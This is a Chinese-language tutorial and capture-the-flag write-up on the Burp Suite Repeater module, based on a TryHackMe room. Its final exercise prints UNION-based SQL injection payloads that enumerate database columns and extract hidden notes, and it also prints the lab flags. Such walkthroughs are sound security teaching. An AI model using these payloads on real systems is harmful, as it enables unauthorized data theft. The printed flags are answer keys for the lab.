Burp Suite Repeater模块完全指南
概述
本文将详细介绍Burp Suite中Repeater(重放器)模块的功能和使用方法。Repeater是Burp Suite中最常用的工具之一,它允许安全测试人员修改并重新发送HTTP请求,以进行各种端点测试和安全评估。
相关实验环境链接:TryHackMe Burp Suite Repeater Room

什么是Repeater?
Repeater是Burp Suite的核心组件之一,它提供了一个可视化的请求编辑和重发环境。使用Repeater,安全测试人员可以:
- 修改并转发通过Burp代理拦截的请求到目标服务器
- 手动构建和发送自定义HTTP请求
- 多次重复发送相同的请求以观察不同参数下的响应
- 分析请求和响应消息的详细内容
这种功能使Repeater非常适合进行手动端点测试、漏洞验证以及API安全评估等工作。
Repeater界面解析
Repeater的图形界面包含以下六个主要区域:
1. 请求历史列表
位于Repeater窗口左上方,显示所有已发送的请求记录。每次向Repeater发送新请求时,此处的记录数量会相应增加。
2. 请求控制按钮
在请求列表下方,提供了一组控制按钮,用于发送请求、取消挂起的请求,以及在请求历史中前后导航。
3. 请求与响应视图
这是Repeater的核心区域。左侧为请求编辑视图,右侧为响应查看视图。在请求视图中编辑完请求后,点击发送按钮,响应内容会显示在对应的响应视图中。
4. 视图布局设置
在请求响应视图的上方右侧,有一组布局选项,可选择水平并排显示(默认)、垂直上下显示,或将两个视图分别放置在独立的标签页中。
5. Inspector检查器
位于Repeater窗口右侧,提供了对请求和响应消息进行结构化分析的功能,可以更直观地查看和编辑消息内容。
6. Target目标信息
显示当前请求的目标IP地址或域名。当从Burp Suite其他模块发送请求到Repeater时,此处会自动填充目标信息。

基础操作流程
发送请求到Repeater
虽然可以直接手动创建请求,但更常见的做法是通过Burp代理捕获请求后,再发送到Repeater进行修改和重发。
在Burp Proxy中捕获到请求后,可以通过以下方式发送到Repeater:
- 右键单击请求,选择"Send to Repeater"
- 使用快捷键Ctrl+R

切换到Repeater界面后,可以在请求视图中看到已接收的请求消息。

此时Target区域和Inspector界面也会显示相应的信息。点击"Send"按钮发送请求,响应视图将会显示服务器返回的内容。

修改请求参数
可以直接在请求视图中修改请求内容,然后再次点击"Send"按钮发送修改后的请求。例如,可以修改"Connection"头部的值:
Connection: close
修改为:
Connection: open
观察响应消息中"Connection"头部的变化。

提示:可以使用"Send"按钮右侧的翻页按钮浏览修改请求的历史记录。
响应消息显示格式
Repeater支持四种响应消息显示格式:
1. Pretty(美化格式)
默认选项,会对响应内容进行格式美化,使响应更易于阅读。
2. Raw(原始格式)
显示服务器返回的原始未处理响应内容。
3. Hex(十六进制格式)
以字节格式呈现响应内容,适用于查看二进制文件或分析原始数据。
4. Render(渲染格式)
将响应内容渲染为可视化页面,类似于浏览器中的显示效果。

提示:通常使用Pretty格式查看响应消息。在Render选项旁边有一个"\n"按钮,用于显示不可打印字符(如\r\n)。
Inspector检查器界面
Inspector提供了对HTTP请求和响应消息的结构化分析功能,在Proxy和Repeater模块中都可以使用。

可编辑的请求属性
在Request Attributes部分,可以修改:
- Path(路径)
- Method(HTTP方法,如GET、POST等)
- Protocol(协议版本,如HTTP/1.1、HTTP/2)

其他可查看和编辑的部分
- Query Parameters:URL中的查询参数
- Body Parameters:请求体中的参数,主要用于POST请求
- Request Cookies:随请求发送的Cookie列表
- Request Headers:请求头信息,可以添加、修改或删除
- Response Headers:响应头信息(只读)
实战练习一:修改请求头
本练习演示如何使用Repeater修改HTTP请求头信息。
步骤:
- 启动目标机器
- 在Kali系统中打开Burp Suite,配置代理并启用拦截
- 通过浏览器访问目标站点,捕获请求后发送到Repeater

使用Inspector或手动方式,在请求中添加一个自定义头部"FlagAuthorised",并将其值设置为"True":
GET / HTTP/1.1
Host: 10.10.7.11
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True

点击"Send"按钮发送请求,查看响应消息中的flag:

Flag值:THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}
实战练习二:测试端点验证漏洞
本练习演示如何测试目标网站的端点参数验证是否存在安全漏洞。
步骤:
- 禁用Burp代理的拦截功能
- 访问目标网站的/products/页面
- 点击"See More"链接,观察URL变化


系统会重定向到一个数字端点(如/products/3)。理想情况下,服务器应该验证端点数值是否为有效整数。如果验证不充分,可能存在安全风险。
测试方法:
- 输入非数字字符或特殊符号
- 输入超过可用产品数量的数字
- 输入小于或等于0的数字
启用Burp代理拦截功能,捕获产品页面请求并发送到Repeater,将端点数值修改为-1后发送:


Flag值:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}
实战练习三:SQL注入漏洞测试
本练习演示如何使用Repeater测试和利用SQL注入漏洞。
目标:
测试目标网站/about/ID端点中ID参数是否存在SQL注入漏洞,并利用该漏洞获取存储在数据库中的CEO备注信息。
步骤:
- 启用Burp代理拦截功能
- 访问http://10.10.107.186/about/2
- 捕获请求后发送到Repeater模块

验证SQL注入漏洞
在端点参数后添加单引号'符号,观察服务器响应:
GET /about/2' HTTP/1.1
Host: 10.10.107.186
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
如果服务器返回"500 Internal Server Error",说明SQL查询被成功中断,存在SQL注入漏洞。

分析错误信息
从错误信息中提取关键信息:
Invalid statement:
SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'
从错误信息可以得知:
- 数据库表名为:people
- 已知的列名:firstName、lastName、pfpLink、role、bio

枚举所有列名
使用UNION查询从information_schema.columns表中获取people表的所有列名:
/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"
将ID值改为0(无效值),确保只响应UNION后的查询结果。

使用group_concat()函数获取所有列名:
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"

成功识别people表中的八列:id、firstName、lastName、pfpLink、role、shortRole、bio、notes。
根据任务目标,我们需要获取的列名为:notes。
获取目标数据
通过访问/about/页面并点击Jameson Wolfe的资料,获取CEO对应的ID值(通常为1)。


提取Flag数据
构造最终的SQL注入payload:
/about/0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1

Flag值:THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh}

总结
Burp Suite的Repeater模块是Web安全测试中不可或缺的工具。通过本文的学习,您应该能够:
- 理解Repeater模块的基本功能
- 熟练使用Repeater进行请求修改和重发
- 掌握不同响应格式的使用场景
- 使用Inspector进行结构化分析
- 完成基本的SQL注入漏洞测试
Repeater的灵活性和可视化界面使其成为渗透测试人员日常工作中最常用的工具之一。